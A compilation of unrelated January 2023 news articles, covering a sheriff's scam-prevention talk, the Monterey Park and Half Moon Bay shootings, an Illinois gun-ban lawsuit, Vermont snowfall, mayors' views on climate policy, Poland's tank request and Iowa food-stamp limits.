Sassak was found guilty of one count of traveling to engage in sexual activity with a minor and one count of possession of child pornography during a trial in Dec. 2021.

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Monroe County Sheriff Troy Goodnough speaks last week at the Monroe Center for Healthy Aging about scams and how to avoid them.

Phone scams arent going away, so Monroe County Sheriff Troy Goodnough is trying to help Monroe County residents stay safe.

On Thursday, the sheriff spoke to a near-capacity crowd at the Monroe Center for Healthy Aging.

I couldnt even find a place to park, Goodnough said.

For an hour, he talked to the audience of mostly senior citizens about how to avoid becoming a victim of scams. He also addressed other crime concerns and took questions from the audience. Attendees received a handout on phone scams.

As the presentation opened, a man in the audience told the sheriff hed gotten three scam calls just that morning.

I feel your pain. My phone will ring here today with a scam. Phone scams are common. The more people we can educate on this tragedy, the better it is for us from the sheriffs office perspective, Goodnough said.

Many turned out for Monroe County Sheriff Troy Goodnough's scam presentation at the Monroe Center for Healthy Aging.

The sheriff had two main points: be suspicious of unknown calls and dont giver callers any money or personal information.

No one from law enforcement is going to call your house and threaten to arrest you if you dont do something. If youre wanted, were not going to call you and tell you were coming. The federal government will not call and arrest you. The IRS, FBI, Secret Service, nobody is going to call your house. Trust me on that," Goodnough said. "If they call and say youve been scammed, but have to send money, do not send money for someone to clear it up. No one is going to call you if youve been scammed. If youve been scammed, youre going to know it.

Nonetheless, many fall from the scams because the calls can look and sound convincing.

We've have people clone our phone number at the sheriffs office. County of Monroe is on your Caller ID. Theyve gone that far. In the press, we name and congratulate our deputies. The callers say these names. We will not call you on the phone. I cant stress that enough, Goodnough said.

Often, the callers prey on emotions, saying a persons loved one is in jail or has died.

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If your loved one is in an accident or passes away, we will not call you on the phone. We will come to your door. They will say, Your grandson is in jail. Go buy these Green Dots cards. Do not buy anything. Do not wire anybody money. If your grandsons in jail, some third-party is not going to call you, Goodnough said.

The sheriff encourages anyone with questions about a concerning call to contact his office at 734-243-7070 or tellthesheriff@monroemi.org. These should not be used for emergency situations.

If youre unclear, call our office. You all pay taxes for our service. Were there to serve you. If youre not sure, call. Some dont want to bother us. We have 154,000 residents in this county, and each and every one of you is equally important to us, Goodnough said.

Likewise, he urges victims of scams to report them to the police.

If you do become a victim, please dont hesitate to call. I know its embarrassing. The Federal Trade Commission will require you to make a police report, Goodnough said. Its never too late to report. Some say, I dont really want to go to court. Don't let that be your deciding factor. A lot of these cases dont go to court.

Reporting also is necessary for locally occurring crimes.

Credit cards are compromised occasionally in Monroe. Our deputies take a report and the stores give us their videos. We can get a face impression of that individual. The quality of these videos is so good now, we can use a government site and can (often) identify them from drivers license pictures. I cant stress enough, please make that report, Goodnough said.

An audience member lamented a problem with jurisdiction. When he was the victim of a crime and the perpetrator lives elsewhere, he had a hard time finding a law enforcement agency to handle the case.

If you live in Monroe County, we will handle it in Monroe County, no matter where you work or (where the preparator lives). That changed when I became sheriff. Not all agencies are like this. Many agencies make your problems worse. Well get the ball rolling, Goodnough said.

The sheriff also offered other tips to the audience:

 Dont answer calls from an unrecognized number. Theres nothing that says you have to pick up that phone. If its a true caller, theyll leave a message, he said.

 Be wary of prizes and offers of free things. There is no prize. We all want to win the $1.3 billion lotto. No one is going to give you a prize. Say, Thank you, Im not interested, Goodnough said.

 Never share anything with callers and dont confirm information they already have. Say, Im not answering your questions, he said.

 Do not share any banking information over the phone; go to the bank in person.

 Get a free credit report. That will tell you right away if your identity has been compromised, Goodnough said.

 Use a credit card online, not a debit card. (With a debit card), they have access to all your financial information. Get a credit card with a very small limit on it and use that online, Goodnough said.

 Sign up for Do Not Call registries. Users must re-register all numbers periodically.

 When traveling, notify your credit card company. Tell them youre traveling from point A to B, flying or using fuel. When they know your trip plans, you wont be called (about charges), Goodnough said.

 When traveling, ask the sheriffs office or a local police department to do property checks. Officers will drive by and, unless requested not to, walk around the house.

Were not going to share your information with anyone. Im big on property checks. We are more than happy to stop by, Goodnough said.

This article originally appeared on The Monroe News: Monroe County Sheriff Troy Goodnough addresses phone scams
After police tape was taken down, people were able to view the crime scene inside Monterey Park's Star Ballroom Dance Studio where the massacre unfolded. Allen J. Schaben / Los Angeles Times via Getty Images

The gunman behind the Monterey Park massacre opened fire "indiscriminately," a survivor's daughter said.

The attacker fatally shot 11 people within seven seconds before leaving, said Mae Ikigai.

"My mom lost 4 of her friends and a huge part of her life," Ikigai said in a Facebook post.

The gunman behind the Monterey Park, California, massacre opened fire "indiscriminately" as revelers danced inside a popular ballroom studio, fatally shooting 11 people within seven seconds before leaving, according to the daughter of a survivor.

Mae Ikigai wrote in a lengthy Facebook post after the Saturday night attack that her mother was among the nine people wounded during carnage at the Star Ballroom Dance Studio during Lunar New Year celebrations.

"She told us that she was five tables away from where the gunman was standing," Ikigai wrote as she recounted what her mother told her by phone from her hospital bed in the aftermath of the shooting.

The daughter continued, "She was dancing with her friends and dance instructor when she heard a noise that sounded like fireworks."

That's when Ikigai said her mother "turned around and saw a man holding a long gun firing indiscriminately."

"She quickly got down on the ground and felt her left shoulder and waist grazed by one of the bullets," Ikigai recalled. "The shooting lasted about 6-7 seconds and then the gunman left."

Ikigai said that her mother lost four friends in the massacre.

"My mom recalled that one of her closest friend[s] was at the first table right next to where the gunman was standing so she quickly got up and went to find her friend," Ikigai said.

The daughter added, "When my mom finally found her, she shook her friend and said, 'wake up wake up the gunman's gone.'"

When the pal "did not respond" her mother "shook her even harder and kept telling her to wake up," according to Ikigai.

"Suddenly she saw a lot of blood coming out from her friend's mouth. At that moment she realized her friend was gone," Ikigai said. "The gunman had shot her friend in the brain."

Story continues

The mother's dance instructor was also shot in his ankle, Ikigai noted.

Ikigai's mother has been an active member of the dance hall and the nearby Lai Lai Ballroom & Studio in Alhambra, where the gunman attempted a second attack, for nearly two decades, visiting the studios several times a week, the daughter said.

"If there is one thing my mom loved most it was dancing," Ikigai said, adding, "It was such an important part of her life and a part that gave her the most joy."

But her mother said she "will not be returning to the dance community and will focus this time on her healing and family," according to Ikigai.

"My mom lost 4 of her friends and a huge part of her life [Saturday] night," the daughter said.

Ikigai did not immediately respond to a request for comment by Insider on Tuesday.

Authorities found the 72-year-old gunman dead of a self-inflicted gunshot wound on Sunday.

Police have not yet released a motive for the massacre.

Read the original article on Insider
 Flash

People mourn for victims of a mass shooting in front of the city hall of Monterey Park, California, the United States, Jan. 22, 2023. [Photo/Xinhua]





The Chinese Consulate General in Los Angeles confirmed Monday that at least one Chinese citizen died in the mass shooting Saturday night in the city of Monterey Park, 16 km east of Los Angeles downtown.



The fatal incident occurred at 10:22 p.m. Saturday local time in Star Ballroom Dance Studio, a popular ballroom dance facility having been operated for about 30 years, when it was hosting an event to celebrate the countdown to the Chinese Lunar New Year.

The mass shooting left 11 dead and 9 wounded as of Monday, according to the authorities. All the victims are over their 50s.

"It is currently confirmed that a Chinese citizen was unfortunately killed in the incident," the consulate's spokesman said in a statement posted on its official website. "We are working with relevant domestic departments and the United States to assist in dealing with the aftermath."

The statement noted that the mass shooting, the most fatal one in the United States since the start of the year, occurred amid Chinese Lunar New Year festivals and in a local Chinese community, "was shocking and deeply regretted."

The consulate also expressed condolences to local Chinese communities, including Monterey Park, a city of 61,000 residents located on the eastern edge of Los Angeles with a majority Asian American population, while reminding local Chinese citizens to take safety awareness in mind.

The Chinese embassy and consulates in the United States flew Chinese flags at half-staff on Monday in honor of the victims of the Saturday tragedy.
MONTEREY PARK, Calif.  As he visits neighborhoods and checks in on residents throughout the city where he grew up, Thomas Wong is navigating bouts of shock and relief.

Wong, a longtime Monterey Park City Council member, said the shock comes from knowing that his hometown suffered the worst mass shooting in the United States since a deadly school attack in Uvalde, Texas, in May. The killings took place hours after Lunar New Year celebrations.

The relief comes from knowing the suspected killer in Monterey Park can no longer hurt anyone.

"We see (mass shootings) proliferate in other parts of the country, but you never expect it to happen in your own backyard," Wong said Monday in between consoling fellow residents. "To start off the year like this is an unimaginable tragedy."

Two days after the shooting that killed 11 people and wounded nine Saturday at a dance hall in Monterey Park, about 9 miles east of downtown Los Angeles, residents are doing their best to cope. In the tranquil community of mostly Asian American residents descended from China, Vietnam, Thailand and other nations, the tragedy stands out.

As customers came into Golden Liquor Store to buy lottery tickets or soda on Monday, owner Barry Jiang said they tried their best to create a sense of normalcy.

Yet almost one by one, Jiang said, customers asked him, "Are you OK?"

Steven Zhang, who owns a traditional noodle shop, said he was receiving significantly more to-go orders from customers who felt unsafe dining in.

BALLROOM HEROES: Monterey Park gunman disarmed by 'brave man' at second California dance studio, sheriff says

SHOOTING TIMELINE: California shooting timeline: How the deadly attack at a Monterey Park dance studio unfolded

Monterey Park is a 'gateway for Asian businesses'

Monterey Park is a majority-minority city of about 60,000 people. About 65% of its population is of Asian descent, according to U.S. Census statistics. The city's second-largest demographic is Hispanic (26.9%) and white (5.6%).

Story continues

Wong said there was a wave of immigrants from mainland China, Taiwan and Hong Kong in the 1970s and '80s who instead of settling near and around LA's Chinatown chose to locate in suburbia. Soon, a broader wave of Asian nationalities arrived not only in Monterey Park but also across the mountainous San Gabriel Valley.

"Monterey Park is seen as a gateway for Asian businesses and economic diversity," Wong said.

Barry Jiang, 38, reads the headlines in a Chinese language newspaper in his business,Golden Liquor in Monterey Park, Calif. on Jan. 23, 2023. Jiang is one of numerous people from Asian countries that immigrated to the U.S. and specifically to Monterey Park.

RECALLING ANTI-ASIAN HATE SENTIMENT: Asian Americans say Monterey Park killings revive fears, trauma of rising anti-Asian hate around US

'HOW SOMETHING THIS AWFUL HAPPENS': Suspect in Monterey Park mass shooting killed self in van; motive remains unknown

'This is the place people start their dreams'

Monterey Park is a refuge for many Chinese immigrants, residents said.

Zhang, the noddle shop owner, said he moved to the city from Xian in central China in 2011. Seven years later, he bought a home with his wife in El Monte, about 15 minutes east of Monterey Park.

Zhang said family houses  essentially boarding houses  are easy to find. For $10 to $15 a night, you can find a place to sleep, Zhang said. The city is full of job agencies and immigration lawyers who help people obtain work visas.

"This is the place people start their dreams," Zhang said.

Wong said the area offers a level of comfort where English isn't always the primary language. He said many residents hold working-, middle- and upper-class jobs. Wong said the professions range from cleaning services to restaurant owners to corporate executives and even city leaders like himself.

Steven Zhang hand pulls noodles at his restaurant Noodle Art in Monterey Park, Calif. Jan. 23, 2023. Monterey Parks Asian cuisine is a big attraction.

"It's across the board," Wong said, adding that elders are revered and respected.

"It's expected that it is the younger generations' responsibility to take care of them, and our community has built the infrastructure and services to do just that," Wong said.

That includes establishments like the Star Ballroom Dance Studio in Monterey Park, where the shooting happened. Most of the 11 dead were over 50, including several who saw the dance studio as "a haven" from the stress of everyday life.

The Star is "the only nice dancing ballroom in this area," said Joom Pfrunder, 67, an immigrant from Thailand. She goes to the studio every other month for events organized by the Thai community.

The dance floor is high quality and vast, fitting hundreds of people at a time. The prices are reasonable, the building is accessible and always busy, Pfrunder said.

"It was the place where you meet" people," Pfrunder said. Now, she worries "everybody is going to think twice before going back there again."

Ballroom dancing is especially popular among older people, Pfrunder said. "It's very relaxing. They enjoy dancing with their loved ones, husband, (and) friends," she said. "It's tragic to hear that someone could go in and start shooting like that."

'We have a lot of healing to do'

Connie Joe Chung, CEO of Asian Americans Advancing Justice Los Angeles, said the area celebrating the Lunar New Year in public for the first time since the pandemic made the weekend all the more special.

"We've been scared to be in public settings, one due to the pandemic, and two, making ourselves more vulnerable to being attacked due to all of the anti-Asian hate," Chung said.

Monterey Park is also near upper-middle-class Alhambra, another predominately Asian-populated suburb. Alhambra Mayor Adele Andrade-Stadler said Monday she grew up in the San Gabriel Valley and moved to Alhambra when she got married.

She noted that all three cities, Alhambra, Monterey Park and San Gabriel, are close regional partners. Andrade-Stadler said she and two other councilwomen were at the Monterey Park Lunar New Year celebration Saturday night before the shooting.

"We three cities are connected politically and through our work as councilmembers. We're all close," she said. "We all grew up together in the political circles. We attend each other's Chinese New Year's celebrations."

Chung, who also lives in the San Gabriel Valley, added, "For something like (the shooting) to happen during a big celebration has been a big hit to us."

Lily Nitta, 52, who lives in Alhambra, held a candle alongside hundreds at a vigil at the Monterey Park city hall Monday night. Pastors and community leaders led the crowd in prayer.

"I wanted to be here to pray for those that are suffering. I feel a little bit lost for those who live in Monterey Park and the surrounding areas," Nitta said. "It's such a helpless feeling."

Gerry Bonilla, 40, lived in Monterey Park for more than seven years. While the gathering in front of city hall offered a moment of peace, he said it felt like an illusion when news began to trickle in from northern California Monday night of yet another mass shooting.

"It seems there's a lot of trauma that created this," Bonilla said.

On Monday, California Gov. Gavin Newsom tweeted that he met with Monterey Park city leaders and residents.

"The strength of this community is incredible," Newsom said. The governor lamented that the nation is being "terrorized by this constant stream" of gun violence.

Los Angeles County Supervisor Hilda Solis echoed a similar sentiment during an impromptu briefing Monday in Monterey Park.

Solis said that "while we are all grieving," residents will be resilient.

"There are some special things to be thankful for," Solis said. "The community has come together. Many people are coming forward to provide initial support to many of our (Asian American Pacific Islander) residents, many of whom are now in solace and witnessing things that are unheard of.

"We know we have a lot of healing to do."

This article originally appeared on USA TODAY: Monterey Park's safe haven for Asian communities shattered by shooting
Downstate attorney Thomas DeVore, an unsuccessful Republican candidate for attorney general last year, has filed a second lawsuit challenging Illinois recently enacted ban on high-powered guns and high-capacity magazines.

The latest lawsuit was filed in downstate White County and lists more than 1,000 plaintiffs, including former state senator and GOP gubernatorial candidate Darren Bailey and some 70 firearms dealers, who allege the new law violates the state constitution.

DeVores first lawsuit challenging the gun ban was filed in Effingham County, where a judge last week temporarily blocked the enforcement of the ban on more than 850 people and a handful of firearms dealers named in that action.

DeVore represented Bailey, who unsuccessfully challenged Gov. J.B. Pritzkers bid for reelection in November, in a 2020 lawsuit challenging Pritzkers COVID-19 mitigations.

Also among the 1,000-plus plaintiffs in the White County suit are two GOP state representatives, Adam Niemerg of Dieterich and Blaine Wilhour of Beecher City, both of whom aligned with Bailey during his time in the General Assembly as part of a group of far-right lawmakers from southeastern Illinois known as the Eastern Bloc.

The new White County lawsuit employs essentially the same argument as the action in Effingham County, including that the gun ban violates a constitutional requirement that legislation be confined to a single subject. Democratic lawmakers took a bill that was initially about insurance and overwrote it with the weapons ban during the final days of the General Assemblys lame-duck session earlier this month.

The White County and Effingham County suits also allege that the ban violates the state constitutions due process and equal protection clauses.

Both lawsuits name as defendants Pritzker, House Speaker Emanuel Chris Welch, Senate President Don Harmon and Attorney General Kwame Raoul, who won his reelection bid in November against DeVore.

Story continues

At an unrelated news conference in Decatur on Tuesday, Pritzker dismissed the latest lawsuit as just more of the same and expressed confidence that the new law would ultimately remain in effect.

These are folks who are in the superminority among the public, superminority in terms of elected officials, people who lost elections who (are) now seeing that they dont like policy that they couldnt win at the ballot box on, that they now hope that they can take to state court and win with a local judge, Pritzker said.

I think that theyll lose in the end. This is a constitutional law. Its been in effect in eight other states. Were simply the ninth state to have passed and signed and put into law an assault weapons ban that will save lives, he said.

The lawsuits from White and Effingham counties are among a handful of legal challenges, including a federal lawsuit filed by the Illinois State Rifle Association, to the gun ban that Pritzker signed into law on Jan. 10. At least two other federal lawsuits, including one that includes the National Shooting Sports Foundation among its plaintiffs, were filed Tuesday.

A hearing for the White County lawsuit is scheduled for Wednesday morning. A hearing in the Effingham County lawsuit is scheduled for Feb. 1.

Raouls office has filed an appeal with the state Appellate Court challenging the Effingham County judges decision in that case to temporarily block the gun ban from being enforced on plaintiffs in that lawsuit.

jgorner@chicagotribune.com
The Green Mountain State has finally become blanketed in white, and the snow keeps piling up. In the space of one week, the region will have received at least three snow storms, with much of the state projected to receive well over a foot of cumulative snow.

Final snowfall totals have been released from this most recent snow storm from Monday, Jan. 23. The measurements varied widely with spotters across the state reporting between less than an inch to nearly 14 inches of snowfall. The next storm on deck is supposed to arrive Wednesday night into Thursday. Vermonters should expect at least a few more inches of powder on top.

As snow falls, a sign warns drivers of cross-country skiers in the area near Catamount Outdoor Family Center in Williston on Jan. 23, 2023.

Snowfall totals from Monday storm

Snowfall totals are gathered from National Weather Service employees, trained spotters and the general public. When different figures were reported in the same town, the highest total is listed below.

Chittenden County:

Burlington: 2.4 inches

Charlotte: 3.5 inches

Essex Center: 3.2 inches

Hinesburg: 3.1 inches

Milton: 2 inches

Richmond: 3 inches

South Burlington: 3.8 inches

Underhill: 3.9 inches

Westford: 4.2 inches

Williston: 5 inches

Other select towns:

Montpelier: 5 inches

Randolph Center: 11 inches

Rutland: 9 inches

St. Albans: 1 inch

Stowe: 4 inches

The highest recording was in northeast Rochester at 13.9 inches and the lowest were in Swanton and Enosburg Falls at 0.6 inches.

[1/24 11 AM] Looking ahead to our next winter storm and some of the key messages on a regional level. Stay tuned for the latest local storm forecast at https://t.co/lneWkvBUCk #vtwx #nywx #snow https://t.co/nlE9KErAfv  NWS Burlington (@NWSBurlington) January 24, 2023

What to expect with Wednesday night storm

Another snow storm is headed our way Wednesday afternoon and is expected to last through Thursday evening.

Story continues

Heavy snow is possible with one inch falling per hour, most likely Wednesday evening in central and southeastern Vermont, according to the National Weather Service Burlington office. The snow could mix with sleet and freezing rain. Travel could be very difficult, especially during the Thursday morning commute.

As of Tuesday morning, accumulation totals were projected to be between 6 and 9 inches across the state. Chittenden County, north, and northeastern Vermont predictions were slightly lower. Burlington was tracking for 5.1 inches, St. Albans at 5.6, St. Johnsbury at 4.7 and Newport at 3.6 inches.

Stowe was expecting 7 inches, Montpelier and Middlebury around 6 inches and Brattleboro expecting to bring in the most at 8.5 inches.

Contact reporter April Barton at abarton@freepressmedia.com or 802-660-1854. Follow her on Twitter @aprildbarton.

This article originally appeared on Burlington Free Press: Vermont snowfall totals and next winter storm predictions
A gas burner on a stainless steel stove. (Getty Images)

Mayors of American cities are overwhelmingly concerned about climate change and how it will affect their city, but they are much more divided on whether to restrict the use of fossil fuels in home appliances and lawn tools such as gas stoves and leaf blowers, according to a survey of mayors conducted by the Boston University Initiative on Cities that was released last week.

Mayors in general are enthusiastic about taking local climate action, but ... even this enthusiastic group is much more eager (and likely) to do things that come with fewer hard tradeoffs, minimally disrupt the status quo, and/or impose fewer restrictions on their residents, David Glick, a co-author of the survey and an associate professor of political science at Boston University, told Yahoo News in an email.

A team of researchers conducted interviews with 118 mayors from 38 states during the summer of 2022. They say the mayors were a representative sample of mayors and cities larger than 75,000 residents  of which there are 501 in the United States  in characteristics including size, racial and ethnic diversity, regional distribution and housing prices.

The mayors are almost unanimous in their acceptance of the science of climate change: 90% of respondents said the increasing average global temperature is mostly due to the effects of pollution from human activities, while just 10% said it is mostly caused by natural changes in the environment.

A traffic jam in Los Angeles. (Getty Images)

Some mayors who are elected in nonpartisan elections have unknown party affiliation, but of those with known party affiliation who participated in the survey, 75 are Democrats and 17 are Republicans. Of the Democrats, 95% attributed climate change to human activity, as did 71% of the Republicans.

But when it comes to using the powers of their office to reduce the pollution causing global warming, more divisions emerge. Of the eight ways of reducing emissions offered by the survey, the four that involved actually limiting consumer choices performed notably worse than the four that didnt.

Story continues

Replacing municipal vehicles with more fuel-efficient versions was the most popular choice, strongly supported by 74% of respondents, and somewhat supported by 22%, with only 4% opposed. Large majorities also at least somewhat supported using their citys funds to subsidize private home energy upgrades, requiring that new construction be designed to accommodate solar panels, and community choice aggregation  essentially directing local energy purchasing power toward cleaner sources. Even the least popular of those options  using their citys funds to subsidize private home energy upgrades  was supported somewhat or strongly by 71% of mayors.

The other four choices were less well-liked. Most mayors, 60%, do not want to touch the hot button of restricting gas stoves in private homes, while 27% support it somewhat and just 10% support it strongly. Some cities, such as Los Angeles, San Francisco and New York City, have banned gas hookups in new buildings, but none have so far banned the sale of gas stoves to residents of existing buildings. New York Gov. Kathy Hochul has proposed banning the sale of gas appliances for residential use in 2030, and a commissioner on the federal Consumer Product Safety Commission (CPSC) recently floated the possibility of a federal ban on new gas stove sales, but he was quickly overruled by the commissions chairman and the White House, which said no such policy is under consideration after the idea drew strong condemnation from some congressional Republicans. Instead, the CPSC is expected to propose regulations that would limit the indoor air pollution from gas stoves, such as venting requirements.

Gas-burning stoves for sale at a home improvement store on Jan. 12 in Chicago. (Scott Olson/Getty Images)

Another idea that polled poorly was making driving more expensive through fees for street parking or for driving in congested areas. Such schemes, sometimes called congestion pricing, have been adopted in a few European cities, and New York state is in the midst of finalizing a plan for congestion pricing in New York City. By discouraging driving, congestion pricing can reduce carbon emissions, conventional air pollution and traffic. Only one-fifth of mayors strongly support charging for road use or parking, while 26% somewhat support it and 53% are opposed.

Two other approaches to limiting climate pollution that are being explored by some state and local governments were more popular, though still notably less than the voluntary measures and subsidies for homeowners to improve energy efficiency. Pluralities oppose restrictions on gas-powered lawn tools such as leaf blowers (45%) and restrictions on gas or oil heat in new construction (44%), with most of the remainder only somewhat supportive.

Mayors also were asked which of their policy tools are the most effective at combating climate change and, ironically, they readily conceded that the most effective tools are those they are the least eager to use. Fifty-five percent of respondents said their influence over building codes  which includes the ability to ban gas hookups in new construction  is their most powerful tool, whereas only 11% said their ability to subsidize certain behaviors (like making home energy efficiency upgrades) and just 9% chose using the citys buying power (like switching the citys auto fleet to more efficient vehicles).

The main reason seems to be the challenging politics of restricting or discouraging individual choices rather than merely encouraging greener options. One mayor said they like carrots more than sticks. Another mayor said they wanted to ban leaf blowers but did not have the support, and a third predicted restrictions on gas and oil would go over like a lead bullet and they would be hung if they tried to eliminate gas-powered lawn tools.

Two landscape workers use gas-powered leaf blowers to clear a residential complex in Novato, Calif., in 2020. (Paul Chinn/the San Francisco Chronicle via Getty Images)

They believe, as a group, that the things they are most supportive of doing may not be the ones that use their most powerful policy tools, Glick concluded.

While mayors recognize the potential impact of regulatory powers such as building codes, they are much more supportive of other types of local climate actions, the team of researchers who conducted the survey wrote in their report on the findings. Specifically, they are especially supportive of purchasing or encouraging new technologies. In contrast, they are significantly more reticent to restrict resident behaviors, or the use of older technology, via their regulatory powers.

When it comes to why they support taking climate action, mayors overwhelmingly cited their desire to do their part in dealing with the global problem, with the next most popular reasons being reducing local air pollution, followed by saving money on energy in the long run and boosting economic competitiveness. Although a lower proportion of Republican mayors than Democratic mayors support action to address climate change, among those who do, their reasons did not differ significantly.

The effects of climate change that most worried mayors varied by region. In the West, the top concern was drought, feared by 80%, followed by wildfires at 78% and air pollution at 71%. In the Northeast, the top risk cited was extreme heat (79%), then air pollution and flooding (both 71%). In the Midwest, mayors worried most about flooding (76%), extreme heat (62%), and air pollution (48%). In the South, flooding is feared by 68%, followed by drought (54%) and extreme heat (49%).
Law enforcement personnel control the scene of a shooting Monday, Jan. 23, 2023, in Half Moon Bay, Calif. AP Photo/Jeff Chiu

Seven people were killed in two separate shootings in Half Moon Bay, California on Monday, police said.

Authorities arrested a 67-year-old man in connection with the shootings, police said.

The incident comes two days after a gunman killed 11 people at a Lunar New Year celebration in California.

Seven people were killed in two shootings in Half Moon Bay, California, on Monday, according to authorities.

Half Moon Bay, California, located about 30 miles from San Francisco, is about 380 miles north of Monterey Park, California, where days ago another mass shooting left 11 dead.

Police arrested a 67-year-old man without incident about two hours after the first shooting was reported, authorities said during a Monday evening press conference. A motive for the shooting is still unknown, law enforcement said.

The San Mateo County Sheriff's Office said police were responding to a shooting incident with "multiple victims" in an area near the Half Moon Bay City limits, which is just shy of 30 miles south of San Francisco, around 2:30 p.m. local time.

San Mateo County S.O (@SMCSheriff) January 23, 2023

Four people were killed at a mushroom farm and three others were killed at a trucking business on the outskirts of the Northern California town, according to the Associated Press, which cited San Mateo County Board of Supervisors President Dave Pine.

Another victim is being treated at a local hospital with life-threatening injuries, officials said.

The San Mateo County Sheriff's Office said Monday evening that a suspect had been taken into custody and there was no remaining threat to the public.

The suspect has been identified as 67-year-old Zhao Chunli, a resident of Half Moon Bay. San Mateo County Sheriff Christina Corpus said the victims and suspect are all believed to be farmworkers.

Story continues

The San Mateo County Sheriff's Office did not immediately respond to Insider's request for comment.

California Gov. Gavin Newsom tweeted about the shooting on Monday.

"At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay," he wrote. "Tragedy upon tragedy."

A gunman killed 11 people in a mass shooting in Monterey Park, California, at a Lunar New Year celebration on Saturday, January 21.

Read the original article on Insider
MANILA (Reuters) - Filipinos in traditional attire on Tuesday played bamboo marimbas and handed out necklaces and gifts to their first Chinese visitors since before the pandemic, seeking to lure back tourists after China's scrapping of its COVID-19 curbs.

Chinese travellers no longer need to quarantine on return home and holiday bookings have surged from what was the world's largest outbound travel market in 2019.

"After three years I got to visit Manila again from China. It feels great, so many happy places," said Anthony Lee, a 38-year-old Chinese businessman who was among about 200 passengers who arrived on the Xiamen Airlines flight to Manila, the first since 2020.

China was the Philippines' second-largest tourism market, with 1.7 million visitors in 2019, government data showed.

Only 39,627 people from China visited last year, when the Philippines started relaxing its restrictions.

"I have not gone to any countries. I am very happy now," said Atsushih Amemye, 28, after he passed through immigration.

The once $255 billion annual global spending by Chinese tourists ground to a virtual halt during the pandemic and left a hole in the Asian market.

The Philippines, known for its powdery white sand beaches and lush marine life, is targeting 4.8 million foreign tourists this year, after 2.6 million in 2022.

"We anticipate even more Chinese tourists to arrive, which will greatly help us in our effort to transform and recover the tourism industry," Tourism Secretary Christina Garcia Frasco told reporters.

"Our intention is not only to regain our pre-pandemic numbers but to exceed it."

(Reporting by Adrian Portugal; Writing by Neil Jerome Morales; Editing by Martin Petty and Timothy Heritage)
By Sabine Siebold and Alan Charlish

BERLIN/WARSAW (Reuters) -Poland on Tuesday said it had submitted a formal request asking Germany to allow the re-export of its Leopard battle tanks to Ukraine, cranking up pressure on Berlin on heavy weapons that Kyiv sees as crucial to repel the Russian invasion.

Pressure has been building on German Chancellor Olaf Scholz's government to send its Leopard tanks to Ukraine and let other countries send the ones they own. Under military procurement rules, Germany must authorise any re-exports.

Ukraine says heavily armoured Western battle tanks would give its ground troops more mobility and protection ahead of a new Russian offensive that Kyiv expects in the near future. It would also help Ukraine retake some of the territory that has fallen to Russia.

But Scholz's Social Democrat party has been holding back, wary of moves that could cause Moscow to escalate further.

It has also bristled at suggestions that Germany is unilaterally blocking the supply of German-built Leopard tanks to Ukraine, saying that other countries also had misgivings and that a consensus must be reached.

Germany has previously said that no country had formally asked for permission to send their Leopard tanks.

Poland, which has criticised Berlin for foot-dragging, said it expected a fast response now that it had made such a formal request.

"I hope that this answer from Germany will come quickly, because the Germans are delaying, dodging, acting in a way that is difficult to understand," Polish Prime Minister Mateusz Morawiecki told a news conference. "We can see that they do not want to help Ukraine defend itself in a wider way."

Poland also expected the European Union to foot the bill for the tanks, saying it would be a test of goodwill from Brussels, he said.

A German defence source told Reuters that Poland had submitted a request to let it supply up to 14 Leopard 2 A4 tanks to Ukraine.

A spokesperson for the German government said it would handle proceedings with "the urgency they deserve".

Story continues

On a visit to Berlin, NATO Secretary General Jens Stoltenberg praised Germany's contribution in supporting Ukraine but urged allies to speed up deliveries of heavy and more advanced weapons. He expressed confidence that a decision on sending battle tanks would come soon.

Stoltenberg was speaking in Berlin alongside Germany's new defence minister, Boris Pistorius, who said his government would act quickly on the tanks if a consensus was found.

'PIVOTAL MOMENT'

"At this pivotal moment in the war, we must provide heavier and more advanced systems to Ukraine, and we must do it faster," NATO's Stoltenberg told reporters.

"I therefore welcome our discussion today. We discussed the issue of battle tanks. Consultations among allies will continue and I'm confident we will have a solution soon."

Pistorius said Germany was not standing in the way of other countries training Ukrainian troops to use the Leopard tanks while talks continued. Without mentioning Poland, he criticised certain stakeholders for allowing the impression to fester that "there's disunity or that Germany is isolated".

Scholz was trying to forge consensus on the tanks issue, he said, adding that NATO must not become party to the war in Ukraine.

The decision about the delivery of the tanks would be taken solely at the political level, German defence chief Eberhard Zorn said at a conference in Berlin organised by Handelsblatt.

"The coalition of states that want to help Ukraine must expand. Germany is the largest country and should join this community," Morawiecki said. "We await your prompt reply. We are already training Ukrainian soldiers in Poland. Other countries are doing it too, and we will continue to do so."

(Reporting by Sabine Siebold, Alan Charlish, Pawel Florkiewicz, Andreas Rinke, Paul Carrel, Matthias Williams, Christian Kraemer; writing by Matthias Williams; editing by Rachel More, Andrew Heavens Editing by Alex Richardson)
Photo Illustration by Kelly Caminero / The Daily Beast / Getty / Public Domain

When he spoke of entitlement last week, Iowas Speaker of the House Pat Grassley was not describing his dynastic ascent to political prominence.

The grandson of U.S. Sen. Chuck Grassley was talking about food stamps. And he was attempting to justify his effort to restrict not only who receives them, but also what they are permitted to purchase. The underlying principle is not surprising for a conservative Republican: The poor should be entitled to less.

Its these entitlement programs, theyre the ones that are growing within the budget and are putting pressure on us being able to fund other priorities, the younger Grassley, who describes himself as a self-employed farmer and makes $65,000 a year for his legislative job, told the press.

In the name of fiscal necessity at a time when Iowa has a $1.8 billion budget surplus, Pat was seeking to limit food stamp recipients to purchasing from a list promulgated for expectant mothers. The forbidden items would include fresh meat, fish, sliced cheese, white rice, butter, cooking oil, butter, flour, ketchup, mustard, and mayonnaise.

Pat failed to mention that food stampsformally known as the Supplemental Nutrition Assistance Program (SNAP)are federally funded. The state only pays half of the administrative costs, which for Iowa constituted only $27.84 per case per month in 2020, less than the cost per case in 18 other states.

So cutting the eligibility rolls for food stamps would save the state a relative pittance at most. Iowa might actually end up paying more as a result.

The administrative cost to try to kick people off the program would only increase the cost to the state, Luke Elzinga, chair of the Iowa Hunger Coalition, told The Daily Beast. I dont know what they were thinking, frankly.

Iowa would have to run a complete asset check on every applicant to ensure they do not exceed a cutoff of $2,750 per household$4,250 if someone is disabled or over 60.

If someone loses their job, they have to spend down any savings they have before they can actually get on the program, Elzinga said.

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Residences would be exempt from the tally, but households of any size would only be allowed one car. Just getting to and from work might prove complicated for families where more than one member is employed. You might get a job but you could soon grow weary of trying to get to it, and your boss might get fed up with you being late.

In rural areas of the state, having a vehicle makes the difference between finding and holding employment, Elzinga noted. What we're really especially concerned about is households with more than one vehicle would be at risk of losing their benefits.

